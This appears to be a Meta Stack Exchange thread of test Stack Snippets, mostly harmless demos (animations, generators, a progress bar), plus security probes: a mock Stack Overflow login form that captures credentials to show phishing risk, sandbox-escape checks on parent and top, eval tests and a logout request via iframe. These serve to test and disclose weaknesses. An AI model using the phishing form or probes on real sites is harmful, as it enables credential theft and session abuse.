    margin-top: 15px;
}
#spin {
    float: left;
    margin: -5px 0 0 15px;
    padding: 1px 3px 2px;
}
#sub {
    font-size: 11px;
    color: #ccc;
    clear: both;
    padding-top: 20px;
}
#sub a {
    color: #346C95;
}
#sub a:hover {
    color: #59B3EF;
}
#sub code {
    font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace;
}
#spin {
    position:absolute;
    -moz-box-shadow:inset 0px 0px 0px 0px #fce2c1;
    -webkit-box-shadow:inset 0px 0px 0px 0px #fce2c1;
    box-shadow:inset 0px 0px 0px 0px #fce2c1;
    background:-webkit-gradient( linear, left top, left bottom, color-stop(0.05, #ffc477), color-stop(1, #fb9e25) );
    background:-moz-linear-gradient( center top, #ffc477 5%, #fb9e25 100% );
    filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffc477', endColorstr='#fb9e25');
    background-color:#ffc477;
    -webkit-border-top-left-radius:42px;
    -moz-border-radius-topleft:42px;
    border-top-left-radius:42px;
    -webkit-border-top-right-radius:0px;
    -moz-border-radius-topright:0px;
    border-top-right-radius:0px;
    -webkit-border-bottom-right-radius:42px;
    -moz-border-radius-bottomright:42px;
    border-bottom-right-radius:42px;
    -webkit-border-bottom-left-radius:0px;
    -moz-border-radius-bottomleft:0px;
    border-bottom-left-radius:0px;
    text-indent:0px;
    border:1px solid #eeb44f;
    display:inline-block;
    color:#ffffff;
    font-family:Arial;
    font-size:15px;
    font-weight:bold;
    font-style:normal;
    height:65px;
    line-height:65px;
    width:131px;
    text-decoration:none;
    text-align:center;
    text-shadow:-1px -1px 0px #cc9f52;
}
#spin:active {
    background:-webkit-gradient( linear, left top, left bottom, color-stop(0.05, #fb9e25), color-stop(1, #ffc477) );
    background:-moz-linear-gradient( center top, #fb9e25 5%, #ffc477 100% );
}
    filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fb9e25', endColorstr='#ffc477');
    background-color:#fb9e25;
}.spin:active {
    position:relative;
    top:1px;
}
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script type="text/javascript" src="http://cdnjs.cloudflare.com/ajax/libs/jquery-easing/1.3/jquery.easing.min.js"></script>
<p id="blame">The Wheel of Blame!</p>
<br class="clearfix" />
<ul>
<li><img src="https://i.sstatic.net/DdIcm.png" alt="" /> It's the SO Dev Team's fault!</li>
<li><span id="csharp">C#</span> It's C#'s fault!</li></ul>
<button id="spin" disabled>Loading...</button>

16
  • And I was just about to do this one. Also seems that it's always Tim Stone's fault, but this could be because of a blocked script on my end.
    – gunr2171
    Commented Aug 26, 2014 at 13:41
  • 4
    @gunr2171 it appears to be broken, always pointing on same person so feel free to fix it. ;) Commented Aug 26, 2014 at 13:42
  • 1
    @gunr2171 also note it's taking all the members of MSE Tavern, unlike the original Wheel which had a fixed list. Commented Aug 26, 2014 at 13:43
  • I started to fix it, then I found that this mess of an implementation would take more than 60 seconds to fix, then I realised I didn't care, so I gave up and rolled back. Commented Aug 26, 2014 at 14:01
  • @LightnessRacesinOrbit cheers, it's taken from a fiddle I once messed with, trying to improve the original and messing things up in the process. Commented Aug 26, 2014 at 14:19
  • Is it just me, or does the wheel give the same answer every time?
    – user1228
    Commented Aug 26, 2014 at 17:07
  • 1
    Is it just me, or are comment deletions broken? Goddamnit.
    – user1228
    Commented Aug 26, 2014 at 17:08
  • @Will comments can be deleted just fine, as for same answer you're right, I took borked version by mistake and no time ATM to fix it - luckily, it's just a sandbox here. :D Commented Aug 26, 2014 at 18:49
  • @iStimple it's bugged, didn't delve deep enough to find why it's not random. You're there because you're in the Tavern. :D Commented Aug 26, 2014 at 20:12
  • Poor Tim Post--he's always messing up
    – Ian
    Commented Aug 28, 2014 at 17:07
  • 1
    It's not random because CORS is required to load random.org. You also didn't request a new random number when you click the button.
    – Sumurai8
    Commented Aug 31, 2014 at 8:01
  • @Sumurai8 heh, not my code to begin with, was just messing around with the original code long ago (intending just to take the Tavern's members instead of a fixed list) and never had time to really finish it. Thanks a bunch! :D Commented Aug 31, 2014 at 8:06
  • 3
    You still owe me unicoins. I DEMAND unicoins.
    – Sumurai8
    Commented Aug 31, 2014 at 9:01
  • @Sumurai8 remind me in next April Fools or Winter Bash! :) Commented Aug 31, 2014 at 10:05
  • Your SO dev team image is no longer available :/
    – Spotlight
    Commented May 13, 2016 at 2:31
22

A starry night sky.

w=c.width=window.innerWidth,h=c.height=window.innerHeight,C=c.getContext('2d');(function L(){requestAnimationFrame(L);C.fillStyle='rgba('+[0,0,0,M.abs(M.sin(Date.now())/10)]+')';C.fillRect(0,0,w,h);C.fillStyle='rgb('+[R()*255|0,R()*255|0,R()*255|0]+')';C.fillRect(R()*w,R()*h,3,3)})(M=Math,R=M.random)
*{padding:0;margin:0;background:#000}
<canvas id=c>

w=c.width=window.innerWidth;
h=c.height=window.innerHeight;
C=c.getContext('2d');
x=0,y=0,s=1;
(function Z(){
    setTimeout(Z,0);
    N=Date.now()/1e3;
    for(y=0;y<h;y+=s){
    b=1e3*-~x/-~y;
    f='rgb('+[A(S(N-b))*255|0,A(S(N-b*2))*255|0,A(S(N-b*3))*255|0]+')';
    C.fillStyle=f;
    C.fillRect(x,y,s,s);    
    }
    x=x<w?x+s:0;
})(S=Math.sin,A=Math.abs)
*{padding:0;margin:0;background:#000}
<canvas id=c>

1
20

CSS :nth-child() and animation properties

* {
    -webkit-box-sizing: border-box;
    -moz-box-sizing: border-box;
    box-sizing: border-box;
}
body {
    background: whitesmoke;
    text-align: center;
    -webkit-perspective: 1000;
    -moz-perspective: 1000;
    perspective: 1000;
}
.wrapper {
    margin: 0 auto;
}
.loader {
    height: .8em;
    width: .8em;
    border-radius: .2em;
    background: white;
    display: inline-block;
    opacity: 0;
    margin-top: 20px;
}
.loader {
    -webkit-transform: translateX(0);
    -moz-transform: translateX(0);
    transform: translateX(0);
}
.loader:nth-child(1n+2) {
    -webkit-animation: flipintoright 750ms 375ms infinite;
    -moz-animation: flipintoright 750ms 375ms infinite;
    animation: flipintoright 750ms 375ms infinite;
}
.loader:nth-child(2n+1) {
    -webkit-animation: flipintoright 750ms infinite;
    -moz-animation: flipintoright 750ms infinite;
    animation: flipintoright 750ms infinite;
}
@-webkit-keyframes flipintoright {
    0% {
        -webkit-transform: rotateY(0);
        background-color: yellow;
        opacity: .5;
    }
    25% {
        -webkit-transform: rotateY(90deg) scale(.75);
        opacity: .75;
        background-color: orange;
    }
    50% {
        -webkit-transform: rotateY(180deg) scale(.5);
        opacity: 1;
        background-color: red;
    }
    75% {
        -webkit-transform: rotateY(270deg) scale(.75);
        opacity: .75;
        background-color: orange;
    }
    100% {
        -webkit-transform: rotateY(360deg) scale(1);
        opacity: .5;
        background-color: yellow;
    }
}
@-moz-keyframes flipintoright {
    0% {
        -moz-transform: rotateY(0);
        background-color: yellow;
        opacity: .5;
    }
    25% {
        -moz-transform: rotateY(90deg) scale(.75);
        opacity: .75;
        background-color: orange;
    }
    50% {
        -moz-transform: rotateY(180deg) scale(.5);
        opacity: 1;
        background-color: red;
    }
    75% {
        -moz-transform: rotateY(270deg) scale(.75);
        opacity: .75;
        background-color: orange;
    }
    100% {
        -moz-transform: rotateY(360deg) scale(1);
        opacity: .5;
        background-color: yellow;
    }
}
@keyframes flipintoright {
    0% {
        -webkit-transform: rotateY(0);
        background-color: yellow;
        opacity: .5;
    }
    25% {
        transform: rotateY(90deg) scale(.75);
        opacity: .75;
        background-color: orange;
    }
    50% {
        transform: rotateY(180deg) scale(.5);
        opacity: 1;
        background-color: red;
    }
    75% {
        transform: rotateY(270deg) scale(.75);
        opacity: .75;
        background-color: orange;
    }
    100% {
        transform: rotateY(360deg) scale(1);
        opacity: .5;
        background-color: yellow;
    }
}
<div class="wrapper">
    <div class="loader"></div>
    <div class="loader"></div>
    <div class="loader"></div>
    <div class="loader"></div>
    <div class="loader"></div>
    <div class="loader"></div>
    <div class="loader"></div>
    <div class="loader"></div>
    <p>Loading...</p>
</div>

19

HTML5 PROGRESS BAR

@import url(http://fonts.googleapis.com/css?family=Expletus+Sans);

/* Basic resets */

* { 
	margin:0; padding:0; 
	box-sizing: border-box;
}

body {
margin: 50px auto 0;
max-width: 800px;

font-family: "Expletus Sans", sans-serif;
}

li {

	width: 50%;
	float: left;
	list-style-type: none;
	
	padding-right: 5.3333333%;
}

li:nth-child(even) { margin-bottom: 5em;}

h2 {
	margin: 0 0 1.5em;
	border-bottom: 1px solid #ccc;
	
	padding: 0 0 .25em;
}

/* Styling an indeterminate progress bar */

progress:not(value) {
	/* Add your styles here. As part of this walkthrough we will focus only on determinate progress bars. */
}

/* Styling the determinate progress element */

progress[value] {
	/* Get rid of the default appearance */
	appearance: none;
	
	/* This unfortunately leaves a trail of border behind in Firefox and Opera. We can remove that by setting the border to none. */
	border: none;
	
	/* Add dimensions */
	width: 100%; height: 20px;
	
	/* Although firefox doesn't provide any additional pseudo class to style the progress element container, any style applied here works on the container. */
	  background-color: whiteSmoke;
	  border-radius: 3px;
	  box-shadow: 0 2px 3px rgba(0,0,0,.5) inset;
	
	/* Of all IE, only IE10 supports progress element that too partially. It only allows to change the background-color of the progress value using the 'color' attribute. */
	color: royalblue;
	
	position: relative;
	margin: 0 0 1.5em; 
}

/*
Webkit browsers provide two pseudo classes that can be use to style HTML5 progress element.
-webkit-progress-bar -> To style the progress element container
-webkit-progress-value -> To style the progress element value.
*/

progress[value]::-webkit-progress-bar {
	background-color: whiteSmoke;
	border-radius: 3px;
	box-shadow: 0 2px 3px rgba(0,0,0,.5) inset;
}

progress[value]::-webkit-progress-value {
	position: relative;
	
	background-size: 35px 20px, 100% 100%, 100% 100%;
	border-radius:3px;
	
	/* Let's animate this */
	animation: animate-stripes 5s linear infinite;
}

@keyframes animate-stripes { 100% { background-position: -100px 0; } }

/* Let's spice up things little bit by using pseudo elements. */

progress[value]::-webkit-progress-value:after {
	/* Only webkit/blink browsers understand pseudo elements on pseudo classes. A rare phenomenon! */
	content: '';
	position: absolute;
	
	width:5px; height:5px;
	top:7px; right:7px;
	
	background-color: white;
	border-radius: 100%;
}

/* Firefox provides a single pseudo class to style the progress element value and not for container. -moz-progress-bar */

progress[value]::-moz-progress-bar {
	/* Gradient background with Stripes */
	background-image:
	-moz-linear-gradient( 135deg,
													 transparent,
													 transparent 33%,
													 rgba(0,0,0,.1) 33%,
													 rgba(0,0,0,.1) 66%,
													 transparent 66%),
    -moz-linear-gradient( top,
														rgba(255, 255, 255, .25),
														rgba(0,0,0,.2)),
     -moz-linear-gradient( left, #09c, #f44);
	
	background-size: 35px 20px, 100% 100%, 100% 100%;
	border-radius:3px;
	
	/* Firefox doesn't support CSS3 keyframe animations on progress element. Hence, we did not include animate-stripes in this code block */
}

/* Fallback technique styles */
.progress-bar {
	background-color: whiteSmoke;
	border-radius: 3px;
	box-shadow: 0 2px 3px rgba(0,0,0,.5) inset;

	/* Dimensions should be similar to the parent progress element. */
	width: 100%; height:20px;
}

.progress-bar span {
	background-color: royalblue;
	border-radius: 3px;
	
	display: block;
	text-indent: -9999px;
}

p[data-value] { 
  
  position: relative; 
}

/* The percentage will automatically fall in place as soon as we make the width fluid. Now making widths fluid. */

p[data-value]:after {
	content: attr(data-value) '%';
	position: absolute; right:0;
}





.html5::-webkit-progress-value,
.python::-webkit-progress-value  {
	/* Gradient background with Stripes */
	background-image:
	-webkit-linear-gradient( 135deg,
													 transparent,
													 transparent 33%,
													 rgba(0,0,0,.1) 33%,
													 rgba(0,0,0,.1) 66%,
													 transparent 66%),
    -webkit-linear-gradient( top,
														rgba(255, 255, 255, .25),
														rgba(0,0,0,.2)),
     -webkit-linear-gradient( left, #09c, #f44);
}

.css3::-webkit-progress-value,
.php::-webkit-progress-value 
{
	/* Gradient background with Stripes */
	background-image:
	-webkit-linear-gradient( 135deg,
													 transparent,
													 transparent 33%,
													 rgba(0,0,0,.1) 33%,
													 rgba(0,0,0,.1) 66%,
													 transparent 66%),
    -webkit-linear-gradient( top,
														rgba(255, 255, 255, .25),
														rgba(0,0,0,.2)),
     -webkit-linear-gradient( left, #09c, #ff0);
}

.jquery::-webkit-progress-value,
.node-js::-webkit-progress-value 
{
	/* Gradient background with Stripes */
	background-image:
	-webkit-linear-gradient( 135deg,
													 transparent,
													 transparent 33%,
													 rgba(0,0,0,.1) 33%,
													 rgba(0,0,0,.1) 66%,
													 transparent 66%),
    -webkit-linear-gradient( top,
														rgba(255, 255, 255, .25),
														rgba(0,0,0,.2)),
     -webkit-linear-gradient( left, #09c, #690);
}

/* Similarly, for Mozillaa. Unfortunately combining the styles for different browsers will break every other browser. Hence, we need a separate block. */

.html5::-moz-progress-bar,
.php::-moz-progress-bar {
	/* Gradient background with Stripes */
	background-image:
	-moz-linear-gradient( 135deg,
													 transparent,
													 transparent 33%,
													 rgba(0,0,0,.1) 33%,
													 rgba(0,0,0,.1) 66%,
													 transparent 66%),
    -moz-linear-gradient( top,
														rgba(255, 255, 255, .25),
														rgba(0,0,0,.2)),
     -moz-linear-gradient( left, #09c, #f44);
}

.css3::-moz-progress-bar,
.php::-moz-progress-bar {
{
	/* Gradient background with Stripes */
	background-image:
	-moz-linear-gradient( 135deg,
													 transparent,
													 transparent 33%,
													 rgba(0,0,0,.1) 33%,
													 rgba(0,0,0,.1) 66%,
													 transparent 66%),
    -moz-linear-gradient( top,
														rgba(255, 255, 255, .25),
														rgba(0,0,0,.2)),
     -moz-linear-gradient( left, #09c, #ff0);
}

.jquery::-moz-progress-bar,
.node-js::-moz-progress-bar {
	/* Gradient background with Stripes */
	background-image:
	-moz-linear-gradient( 135deg,
													 transparent,
													 transparent 33%,
													 rgba(0,0,0,.1) 33%,
													 rgba(0,0,0,.1) 66%,
													 transparent 66%),
    -moz-linear-gradient( top,
														rgba(255, 255, 255, .25),
														rgba(0,0,0,.2)),
     -moz-linear-gradient( left, #09c, #690);
}

/* Now we are good to duplicate html code for other skills and then add the css code for the new skill based on data-skill */

  
/* THE END */
<progress style="text-align: right" id="progressBar" value="0" max="100" style="width:300px;"></progress>
<span id="status"></span>
<h1 id="finalMessage"></h1>
<script type="text/javascript" language="javascript">
function progressBarSim(al) {
  var bar = document.getElementById('progressBar');
  var status = document.getElementById('status');
  status.innerHTML = al+"%";
  bar.value = al;
  al++;
	var sim = setTimeout("progressBarSim("+al+")",300);
    
    var finalMessage = document.getElementById('finalMessage');
    finalMessage.innerHTML = "In Progress!!!";
	if(al == 100){
	  status.innerHTML = "100%";
	  bar.value = 100;
	  clearTimeout(sim);
	  //var finalMessage = document.getElementById('finalMessage');
	  finalMessage.innerHTML = "You Got a Reward!!! 🏆";
	}
}
var amountLoaded = 0;
progressBarSim(amountLoaded);
</script>

2
  • 8
    I was expecting a reward when I reached 100%... :(
    – Mistalis
    Commented Mar 28, 2017 at 11:46
  • 3
    You can find reward now!!! :P Commented Jun 21, 2018 at 6:07
17

Here's an example of how things could go wrong. Imagine that instead of being in the answer, where it's obvious what's going on, this is all inserted from an externally loaded script.

var u;
var p;

function DoBadStuff(){
  u = document.getElementById('u');
  p = document.getElementById('p');
  console.log(u.value);
  console.log(p.value);
  /* Theoretically send phished passwords off somewhere via AJAX */
}
#warning {
  background: red;
  color: white;
  padding: 5px;
  position: absolute;
  width: 100%;
  top: 0;
  right: 0;
  left: 0;
  opacity: 0;
  transition: opacity 0.5s;
  text-align: center;
}

body:hover #warning {
  opacity: 0.9;
}


body, warning p {
 padding: 0;
  margin: 0;
}

body {
 font-family: sans-serif; 
}

#f input {
  width: 300px;
  border: 1px solid #ccc;
  margin: 5px 0;
  padding: 1px 5px;
  line-height: 20px;
}

#f {
  background: #EAEAEA;
  border: #AAA solid 1px;
  width: 50%;
  padding: 10px;
  float: right;
  margin: 40px 0 0 0;
}

#i {
  width: 40%;
  width: calc(100% - 380px);
  float: left;
  padding: 10px 0 0 10px;
}
<div id="warning"><p><strong>Warning!</strong> Don't actually enter your password... this isn't a real login form!</p></div>
<div id="i">
<img src="https://cdn.sstatic.net/stackexchange/img/logos/so/so-logo.png" width="200" alt="Stack Overflow" />
<p>Stack Snippets are only available to logged in users with 200 reputation. Please enter your Stack Exchange credentials to log in.</p>
</div>
<div id="f">
  <input type="text" id="u" placeholder="email" /> <br/>
  <input type="password" id="p" placeholder="password" /> <br/>
  <button id="b" onclick="DoBadStuff()">Log In</button>
</div>

8
  • 3
    If it was true, i would except to don't see the "Run code snippet" button at all :) Commented Aug 27, 2014 at 17:26
  • 4
    @MarcoAcierno a lot of people are gullible, and a lot of sites don't tell you that you can't do something until you try to do it.
    – nhinkle
    Commented Aug 27, 2014 at 17:29
  • 4
    @MarcoAcierno Consider SO's vote buttons and "add comment" link button -- those are all visible to users who can't use them, and the site doesn't mention it until you try to use one of them.
    – apsillers
    Commented Aug 28, 2014 at 15:01
  • This is fun... (evil laugh)
    – Ian
    Commented Aug 28, 2014 at 22:14
  • @MarcoAcierno, this is a world where people send their life savings to someone who sent them a random email. I think the example here is excellent social engineering with the SO logo and how it is worded. Could easily fool someone into giving away their username and password, which is then probably the same credentials they use everywhere else. Commented Sep 1, 2014 at 21:41
  • 1
    Possible solutions: 1. run code in new window like a JSFiddle. different domain e.g. stackoverflowsnippets.com. use these cues to indicate that it isn't as trustworthy as the original stackoverflow.com. 2. annoying popup to warn you of the danger and then click accept (uck!). 3. snippets need reputation level to create immediately. if you don't have the rep someone else needs to approve. although that could drive people back to using jsfiddle. 4. moderate quickly, automatically prioritise any snippet with 'username' or 'password' etc. Commented Sep 1, 2014 at 21:45
  • @MartinCapodici I like the idea of only allowing users with a certain reputation level to create snippets, although there'd have to be a way to handle edits. Perhaps snippets created or edited by low-rep users would go into a review queue. There'll always be a risk though; you could for example import a script from your own webserver that looks like it's some library or innocent code, but then later change it to something malicious without ever changing the SO post.
    – nhinkle
    Commented Sep 2, 2014 at 1:31
  • @MartinCapodici, This is also a world where people don't care about that as long as they aren't the victim meta.stackoverflow.com/questions/269753/…
    – Pacerier
    Commented Sep 29, 2014 at 14:25
17

Ninja Name Generator

var items = new Array(
       "a", "ka",  "sa",  "ta",  "na",  "ha",  "ma",  "ya", "ra",  "wa", 
       "i", "ki",  "shi", "chi", "ni",  "hi",  "mi",        "ri",
       "u", "ku",  "su",  "tsu", "nu",  "fu",  "mu",  "yu", "ru",
       "e", "ke",  "se",  "te",  "ne",  "he",  "me",        "re",
       "o", "ko",  "so",  "to",  "no",  "ho",  "mo",  "yo", "ro",  "wo",

            "kya", "sha", "cha", "nya", "hya", "mya",       "rya",
            "kyu", "shu", "chu", "nyu", "hyu", "myu",       "ryu",
            "kyo", "sho", "cho", "nyo", "hyo", "myo",       "ryo",

            "ga",  "za",  "da",  "ba",  "pa",
            "gi",  "ji",         "bi",  "pi",
            "gu",  "zu",         "bu",  "pu",
            "ge",  "ze",  "de",  "be",  "pe",
            "go",  "zo",  "do",  "bo",  "po",

            "gya", "ja",         "bya", "pya",
            "gyu", "ju",         "byu", "pyu",
            "gyo", "jo",         "byo", "pyo"
);


function getRandomInt (min, max) {
    return Math.floor(Math.random() * (max - min + 1)) + min;
}
function capitalise(string) {
    return string.charAt(0).toUpperCase() + string.slice(1).toLowerCase();
}

function random_jp() {
    var result = new Array(0,0,0,0,0).slice(0, getRandomInt(3,5)).map(function () {
        return items[Math.floor(Math.random() * items.length)];
    });

    return capitalise(result.join(""));
}

window.onload = function() {
    var elem = document.getElementById("ninja-name");
    elem.innerHTML = "You are " + random_jp() + ", master of the " + random_jp() + " ninja technique!"
};
<h1 id="ninja-name"> Go go javascript! </h1>

1
  • 4
    For some reason they don't sound at all like japanese; I guess one "easy" fix would be to take a huge chunk of japanese text, romanize it, calculate "weights" for each kana, and use those weights when generating the names. Commented May 31, 2015 at 19:57
15

Print months in your own language

m = [];
for (i = 12; i--;) {
    m[i] = (new Date(0, i, 5)).toLocaleString(0, {
        month: "long"
    });
}
document.write(m)

7
  • It starts by the last month in French (December, January, February, ... November) :( Commented Aug 26, 2014 at 8:02
  • @MaximeLorant It should have been fixed now :P
    – Adam Barak
    Commented Aug 26, 2014 at 8:04
  • Let me fix this... German had march two times and no october. Now everything is there.
    – Artjom B.
    Commented Aug 26, 2014 at 8:05
  • @ArtjomB With your fix I have the same problem as Maxime Lorant xD
    – Adam Barak
    Commented Aug 26, 2014 at 8:07
  • 1
    @ArtjomB I think it depends on the browser after all. Changed 11 to 12 and now it's fine.
    – Adam Barak
    Commented Aug 26, 2014 at 8:08
  • 4
    It works fine for me now, don't touch anything, I don't care of other languages :p Commented Aug 26, 2014 at 8:14
  • iPad output is ... 5 January 1900 00:00:00 GMT,5 February 1900 00:00:00 GMT,5 March 1900 00:00:00 GMT,4 April 1900 23:00:00 GMT, [etc]. Note how it takes care of the clock-change at the end of March. Commented Aug 27, 2014 at 18:03
15

I've noticed some points during testing:

  • the language order is not the same in the displayed post and in edit mode, this is a bit confusing
  • you can't edit the code using the code snippet tool: if you have already the Begin snippet: js tag in your content and click on the button, the content is not prefilled
  • make edit pane resizable because they are too small, and depending on what you do you want more space for JavaScript or for CSS only
  • there is no error reporting when the code fails, neither syntax errors or runtime errors
  • debugger keyword is not working for me using Firefox 30: the Firebug debugger is activated but the file shown is blank making impossible to use step into/over buttons
  • since the JS code is all inlined on one single line, it doesn't handle simple comments in your code (test at the end of my snippet below)

Also, here are my two cents tests, almost accessing all kind of objects and properties (with no success so far):

function debug() {
  var args = [].slice.call(arguments);

  console.log.apply(console, args);
  /*window.alert.apply(window, [args.join(' ')]);*/
}

function showType(a, b) {
  debug(a, typeof b);
}

var TESTS = [

  /* PASSING TESTS */
  function() {
    debug('#################');
    debug('# PASSING TESTS #');
    debug('#################');
  },

  function() {
    showType('parent ', parent);
  },
  function() {
    showType('parent.window', parent.window);
  },
  function() {
    showType('console', console);
  },
  function() {
    showType('top', top);
  },
  function() {
    showType('eval', eval);
  },
  function() {
    showType('parent.postMessage', parent.postMessage);
  },
  function() {
    showType('top.postMessage', top.postMessage);
  },
  function() {
    showType('document.cookies', document.cookies);
  },


  function() {
    debug( Object.keys(window) );
    /* prints: window,location,top,document,InstallTrigger,console,showType,TESTS,external,sidebar */
  },
  function() {
    debug( Object.keys(document) );
    /* prints: location */
  },
  function() {
    debug( Object.keys(top) );
    debug( Object.keys(top).length );
    /* prints: 0 */
  },
  function() {
    debug( Object.keys(parent) );
    debug( Object.keys(parent).length );
    /* prints: 0 */
  },

  function() {
    console.log('some log output');
  },

  function(){
    showType('top.top', top.top);
  },
  function(){
    showType('parent.top', parent.top);
  },
  function(){
    showType('top.location', top.location);
  },
  function(){
    showType('parent.location', parent.location);
  },
  function(){
    showType('top.window', top.window);
  },
  function(){
    showType('parent.window', parent.window);
  },
  function(){
    showType('parent', parent);
  },
  function(){
    showType('parent.window', parent.window);
  },
  function(){
    showType('parent.window.parent', parent.window.parent);
  },
  function(){
    showType('parent.window.parent.window', parent.window.parent.window);
  },
  function(){
    showType('window.addEventListener', window.addEventListener);
  },
  function(){
    showType('parent.window.top', parent.window.top);
  },

  function() {
    debug(top === parent);
    debug(top.postMessage=== parent.postMessage);
  },

  function(){
    showType('parent.window.onbeforeunload', parent.window.onbeforeunload);
  },
  function(){
    showType('parent.window.document', parent.window.document);
  },
  function(){
    showType('parent.location.replace', parent.location.replace);
  },

  function(){
    eval("showType('parent', parent);");
  },


  /* MIXED TESTS */
  /* with success and failures */
  function() {
    debug('###############');
    debug('# MIXED TESTS #');
    debug('###############');
  },

  function() {
    var keys = Object.keys(window), i = keys.length, name;

    while (name = keys[--i])
    {
      try {
        showType('top.'+name, top[name]);
      } catch (e) {
        debug('KO top.'+name, e);
      }

      try {
        showType('parent.'+name, parent[name]);
      } catch (e) {
        debug('KO parent.'+name, e);
      }

    }

  },



  /* FAILING TESTS */
  function() {
    debug('#################');
    debug('# FAILING TESTS #');
    debug('#################');
  },

  function KO() {
    showType('parent.document', parent.document);
  },
  function KO() {
    showType('parent.document.cookies', parent.document.cookies);
  },
  function KO() {
    showType('parent.document.postMessage', parent.document.postMessage);
  },
  function KO() {
    showType('parent.window.alert', parent.window.alert);
  },
  function KO() {
    showType('parent.window.StackExchange', parent.window.StackExchange);
  },
  function KO() {
    showType('parent.window.console', parent.window.console);
  },
  function KO() {
    showType('parent.cookies', parent.cookies);
  },
  function KO() {
    showType('top.cookies', top.cookies);
  },
  function KO() {
    showType('parent.StackExchange', parent.StackExchange);
  },
  function KO() {
    showType('top.StackExchange', top.StackExchange);
  },
  function KO() {
    showType('parent.alert', parent.alert);
  },
  function KO() {
    showType('top.alert', top.alert);
  },
  function KO() {
    showType('parent.console', parent.console);
  },
  function KO() {
    showType('top.console', top.console);
  },
  function KO() {
    showType('parent.addEventListener', parent.addEventListener);
  },
  function KO() {
    showType('top.addEventListener', top.addEventListener);
  },
  function KO() {
    showType('top.snippetRenderer', top.snippetRenderer);
  },
  function KO() {
    showType('parent.snippetRenderer', parent.snippetRenderer);
  },
  function KO() {
    showType('top.jQuery', top.jQuery);
  },
  function KO() {
    showType('parent.jQuery', parent.jQuery);
  },
  function KO(){
    showType('parent.addEventListener', parent.addEventListener);
  },
  function KO(){
    showType('parent.window.parent.addEventListener', parent.window.parent.addEventListener);
  },
  function KO(){
    showType('parent.window.top.addEventListener', parent.window.top.addEventListener);
  },
  function KO(){
    parent.location.replace('https://stackoverflow.com');
  },
  function KO(){
    showType('parent.location.href', parent.location.href);
  },
  function KO(){
    parent.location.href = 'https://stackoverflow.com'
  },
  function KO(){
    eval("showType('parent.addEventListener', parent.addEventListener);");
  },

  function KO(){
    showType('parent.window.open', parent.window.open);
  },
  function KO(){
    top.window.top.open('https://stackoverflow.com', '_blank');
  },
  function KO(){
    window.open('https://stackoverflow.com', '_blank');
  },

];

TESTS.forEach(function(test) {
  debug('Running:', test.toString());

  try {
    test();

  } catch (e) {
    debug('KO ', e);
  }
});

alert('Almost end of the script');
// following code will never be executed
alert('End of the script');

2
  • 6
    Ooh, good catch on the inline comments. Need to fix that.
    – Haney Staff
    Commented Aug 26, 2014 at 14:56
  • I've not tested it but it may have some others problems related to ASI or semicolon omission
    – pomeh
    Commented Aug 26, 2014 at 15:18
15

Epilepsy Warning!!! (thanks @Haney)

var x = 0;
var y = 0;
var dx = -1;
var dy = -1;
var hue = 0;

function move()
{
  var bump = false;
  if (x <= 0 || x > document.body.scrollWidth - 105) { dx = -dx; bump = true; }
  x += dx;
  if (y <= 0 || y > document.body.scrollHeight - 105) { dy = -dy; bump = true; }
  y += dy;
  block.style.left = x + 'px';
  block.style.top = y + 'px';
  if (bump) {
    var r = Math.floor((Math.sin(hue) + 1) * 8);
    var g = Math.floor((Math.sin(hue - Math.PI * 2 / 3) + 1) * 8);
    var b = Math.floor((Math.sin(hue + Math.PI * 2 / 3) + 1) * 8);
    console.log('#' + r.toString(16) + g.toString(16) + b.toString(16));
    block.style.background = '#' + r.toString(16) + g.toString(16) + b.toString(16);
    hue += .5;
  }
}

setInterval(move, 5);
#block {
  width: 100px;
  height: 100px;
  border: 5px solid gray;
  border-radius: 100%;
  position: fixed;
  opacity: 0.5;
  background: #444;
}
<div id="block"></div>

2
  • Follow the bouncing ball..... Commented May 12, 2016 at 16:40
  • 4
    One of my eyes fell to the ground looking at this
    – Mistalis
    Commented Mar 28, 2017 at 11:48
13

I suppose global eval should be blocked?

(0,eval)("alert('indirect eval call not blocked')");
new Function("alert('function constructor not blocked')")();

Or maybe not. It's global to the sandbox after all.

11
  • 2
    Doesn't load anything (blank, no error or warning). Commented Aug 26, 2014 at 0:37
  • 23
    Don't you get the alerts? I get both on Chrome.
    – bfavaretto
    Commented Aug 26, 2014 at 0:37
  • 2
    Nothing. After I press the button, the Fram expands, but remains empty, and nothing else happens. Commented Aug 26, 2014 at 1:09
  • No alerts in Opera 23 either. Commented Aug 26, 2014 at 1:32
  • Nothing happens in FF 31.0
    – Andrew T.
    Commented Aug 26, 2014 at 2:43
  • I get both on--here goes, be nice!--IE 11. Commented Aug 26, 2014 at 5:01
  • Nothing happens in chrome, as @Carcigenicate said
    – SysDragon
    Commented Aug 26, 2014 at 6:54
  • 1
    It works on both FF and Chrome for me. The reason why it is not working for some is because of browser settings, not because the code does not work
    – Sammaye
    Commented Aug 26, 2014 at 7:14
  • Okay, now it happened in FF 31.0. I didn't change any settings. I don't know why...
    – Andrew T.
    Commented Aug 26, 2014 at 7:27
  • Not working for me on Chrome 36.0.1985.143, Ubuntu 12.04
    – Ajedi32
    Commented Aug 26, 2014 at 13:37
  • 12
    @Whom it didn't work, is it because you tried Abhi's asnwer and ticked the Prevent this page from showing additional dialogs or its equivalent for your browser? xD
    – Dan
    Commented Aug 26, 2014 at 15:17
13

Can I log you out?

<iframe src="https://www.stackoverflow.com/users/logout"></iframe>

<img src="https://www.stackoverflow.com/users/logout" />

2
  • 3
    didn't log me out :( http://stackoverflow.com/users/logout does not permit cross-origin framing
    – CRABOLO
    Commented Aug 28, 2014 at 0:28
  • 1
    Blank iframe... Commented Jul 17, 2017 at 14:35
12

Sierpinski's Triangle

window.onload
=
function ()
{
 var L=400,ST=document.getElementById("st");
 ST.style.width=L + "px";
 ST.style.height=L + "px";
 var div=null;

 function addPointAt(a)
 {
  div=document.createElement("div");
  div.style.left=Math.round(a[0]) + "px";
  div.style.top=Math.round(a[1]) + "px";
  ST.appendChild(div);
 }

 var V=[[L,L],[Math.round(L/2.0),0],[0,L]];
 addPointAt(V[0]),addPointAt(V[1]),addPointAt(V[2]);

 var DOSTERCIOS=2.0/3.0,UNTERCIO=1.0/3.0;
 var n=null,r=Math.random();
